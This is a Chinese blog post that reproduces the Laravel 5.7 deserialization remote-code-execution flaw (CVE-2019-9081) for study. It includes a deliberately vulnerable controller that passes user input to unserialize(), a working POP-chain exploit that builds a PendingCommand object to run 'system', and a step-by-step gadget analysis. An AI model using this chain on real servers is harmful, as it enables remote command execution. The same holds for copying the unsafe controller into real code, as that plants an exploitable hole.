代码编织梦想

目录​​​​​​​

简介:

环境部署:

分析:

参考文章:


简介:

和yii一样,Laravel也是一套简洁、优雅的PHPWeb开发框架(PHP Web Framework)。

 在laravel框架中没有找到合适的触发点,因此需要对基于laravel v5.7框架进行二次开发的cms进行再次审计,寻找可控的反序列化点,才能触发该漏洞。

环境部署:

去github上下载文件:

https://github.com/laravel/laravel/tree/5.7

下载的文件放在phpstudy的WWW目录下,由于没有vendor目录,需要在根目录执行命令:

composer install

我们需要自己构造一个漏洞demo,用作poc的验证。 

 构造一个反序列化的利用点,在routes/web.php里面加一条路由:

Route::get('/unserialize',"UnserializeController@uns");

在App\Http\Controllers下面写一个控制器UnserializeController.php文件: 

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function uns(){
        if(isset($_GET['c'])){
            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "uns";
    }
}

分析:

使用的poc:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

在laravel v5.6和laravel v5.7的vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹中

可以发现,v5.7版本多了一个PendingCommand.php文件,这个文件的主要功能是用作命令执行,并且获取输出内容。

查看PendingCommand.php文件内容,发现:

PendingCommand.php文件定义了PendingCommand类,该类存在__destruct方法,大牛说过,__destruct永远是反序列化漏洞的最佳攻击点。因为$this->hasExecuted默认是false的,所以可以直接进入run方法。

跟进run()方法:

run方法的头顶的注释中,赫然写着Execute the command.。

发现一行代码(目的代码):

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

其中app、command和parameters是我们可控的,

 那么攻击思路就很明显了,通过反序列化触发PendingCommand类的__destruct析构函数,进而调用其run方法实现代码执行。

$this->app;         //一个实例化的类 Illuminate\Foundation\Application
$this->test;        //一个实例化的类 Illuminate\Auth\GenericUser,用于返回一个数组。
$this->command;     //要执行的php函数 system
$this->parameters;  //要执行的php函数的参数  array('id')

 但是在进入我们所需要的目的代码时会先经过 $this->mockConsoleOutput();

跟进$this->mockConsoleOutput():

 使用Mockery::mock实现对象模拟,代码看不懂,跟着feng师傅操作一下:

先构造poc

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="phpinfo";
            $this->parameters[]="1";
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

报错:

Trying to get property 'expectedOutput' of non-object

打一下断点,发现是mockConsoleOutput()方法的这里:

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
    (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

跟进$this->createABufferedOutputMock()

 又使用Mockery::mock实现对象模拟 ,其他的不重要,看foreach里面,要求获取$this->test这个类中的expectedOutput属性,并且遍历该属性。报错的原因就是因为$this->test没有expectedOutput这个属性,跟进一下这个属性,发现这个属性在trait InteractsWithConsole中,而trait类我们没法实例化,在其他我们可以实例化的类中,也没有一个类存在expectedOutput属性,此外就只有一些测试类有这个属性,因此这里就卡住了。

但我们仔细看看这段代码会发现,我们的目的只是走通这段代码,顺利执行,不报错,不产生异常就行。我们需要的只是一个返回内容而已,只要有返回内容,使得代码进入循环流程我们便能走通这段代码。我们发现这里只要能够返回一个数组代码就可以顺利进行下去。同时,this->test我们可控

并且: 

读取不可访问属性的值时,__get() 会被调用。

 因此我们可以利用__get魔术方法来返回我们需要的内容。全文搜索__get()方法

这里选取的是Illuminate\Auth\GenericUser

地址:

vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php

 这个attributes是我们可控的,因此我们可以构造$this->attributes为下标名expectedOutput的数组。把$this->test反序列化的时候设置为GenericUser类,这样一来$this->test->expectedOutput就等于GenericUser->expectedOutput,因为GenericUser这个类没有expectedOutput变量,那么就会调用他的__get()方法,因为调用,所以$key='expectedOutput',那么会返回$this->attributes中下标名为expectedOutput的数组。$this->createABufferedOutputMock()的代码也就顺利走通了。

$this->attributes['expectedOutput']=['hello','world'];

回到PendingCommand类的mockCOnsoleOuptput方法当中:

 我们发现foreach这段代码有着类似的语句,使用和$this->createABufferedOutputMock()同样的绕过办法,在$this->attributes中定义下标名为expectedQuestions的数组即可。 

$this->attributes['expectedQuestions']=['hello','world'];

这样我们就能顺利地把$this->mockConsoleOutput()走通了。

回到我们的目的代码:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

剩下的关于this->app[Kernel::class]的知识,现在还不太理解,下次一定解决:

在走通$this->createABufferedOutputMock()代码的时候还可以用DefaultGenerator.php中的DefaultGenerator类。

地址:

vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

因为$default可控,因此我们可以构造$this->default下标名expectedOutput的数组。把$this->test反序列化的时候设置为DefaultGenerator类,这样一来$this->test->expectedOutput就等于DefaultGenerator->expectedOutput,因为DefaultGenerator这个类没有expectedOutput变量,那么就会调用他的__get()方法,因为调用,所以$attribute='expectedOutput',那么会返回$this->default中下标名为expectedOutput的数组。$this->createABufferedOutputMock()的代码也就顺利走通了。

参考文章:

laravelv5.7反序列化rce(CVE-2019-9081) | WisdomTree's Blog

​​​​​​laravel5.7 反序列化漏洞复现_feng的博客-CSDN博客

Laravel5.7反序列化RCE漏洞分析_zhangchensong168的博客-CSDN博客_laravel漏洞

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_46918279/article/details/120519297

第十届全国大学生信息安全竞赛-线上赛 write up(持续更新)_csu_vc的博客-爱代码爱编程_全国大学生信息安全竞赛

0x00 WEB PHP execise -web150 这是一道分值150的web题,打开题目链接之后,看到题目界面 可以看到有一处输入的地方可以输入PHP语句 尝试执行以下phpinfo(),这里解释下,

cve-2019-0192一把梭-爱代码爱编程

背景: 近日,Apache Solr官方团队在最新的安全更新中披露了一则Apache Solr Deserialization 远程代码执行漏洞(CVE-2019-0192)。漏洞官方定级为 High,属于高危漏洞。该漏洞本

(网络安全数据集一)美国国家安全漏洞库 nvd-cve信息解读 和常用漏洞库_bulldozer coder的博客-爱代码爱编程_cve漏洞库

NVD中CVE信息解读 最近要用到这方面的数据,就对NVD中的一小段CVE信息选取做了简单的理解,有错的地方请大佬指正。 一个完整的CVE信息 包含 六部分:  元数据 漏洞影响软件信息  漏洞问题类型  参考和漏洞介绍 

ctf 中的 php 漏洞利用总结-爱代码爱编程

基础知识 系统变量(超全局变量) 在全部作用域中始终可用的内置变量 1 2 3 4 5 6 7 8 9 $GLOBALS // 引用全局作用域中可用的全部变量 $_POST // 获取 post 数据,是一个字典 $_GET // 获取 get 数据,是一个字典 $_COOKIE // 获取 cookie $_SESSION // 获取 ses

Laravel5.7反序列化RCE漏洞分析-爱代码爱编程

前言 以前只是粗略的知道反序列化漏洞的原理,最近在学习Laravel框架的时候正好想起以前收藏的一篇反序列化RCE漏洞,借此机会跟着学习一下POP链的挖掘 简介 Laravel是一个使用广泛并且优秀的PHP框架。这次挖掘的漏洞Laravel5.7版本,该漏洞需要对框架进行二次开发才能触发该漏洞 本地环境 Laravel5.7.28Wamper

php反序列漏洞 实例_深入浅析PHP的session反序列化漏洞问题-爱代码爱编程

在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一

ctf php侧漏,ctf中常见的PHP漏洞小结-爱代码爱编程

ctf中常见的PHP漏洞小结 在做ctf题的时候经常会遇到一些PHP代码审计的题目,这里将我遇到过的常见漏洞做一个小结。 md5()漏洞 PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都

代码审计的一些常用有漏洞函数总结-爱代码爱编程

代码审计的一些常用有漏洞的函数 strcmp()in_array()php伪协议MD5比较漏洞ereg函数漏洞:%00截断preg_match字符串比较php全局变量 最近做了一些题,利用到了一些函数,方法。因此总结一下。 strcmp() strcmp(str1,str2) if (str1>str2) return 正数 if